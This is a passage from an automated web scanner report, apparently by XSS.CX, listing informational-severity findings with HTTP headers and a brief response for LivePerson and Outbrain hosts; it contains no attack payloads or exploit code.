Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Connection: Keep-Alive
Content-Length: 63

_sm='12595.75|-100.17,2828.47|-34.57,1337.77|-10.88';_smv=30;

30.3. http://server.iad.liveperson.net/hc/10599399/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/

Request

Response

30.4. http://traffic.outbrain.com/network/redir previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://traffic.outbrain.com
Path:	/network/redir

Request

Response

Report generated by XSS.CX at Sun May 15 06:57:17 CDT 2011.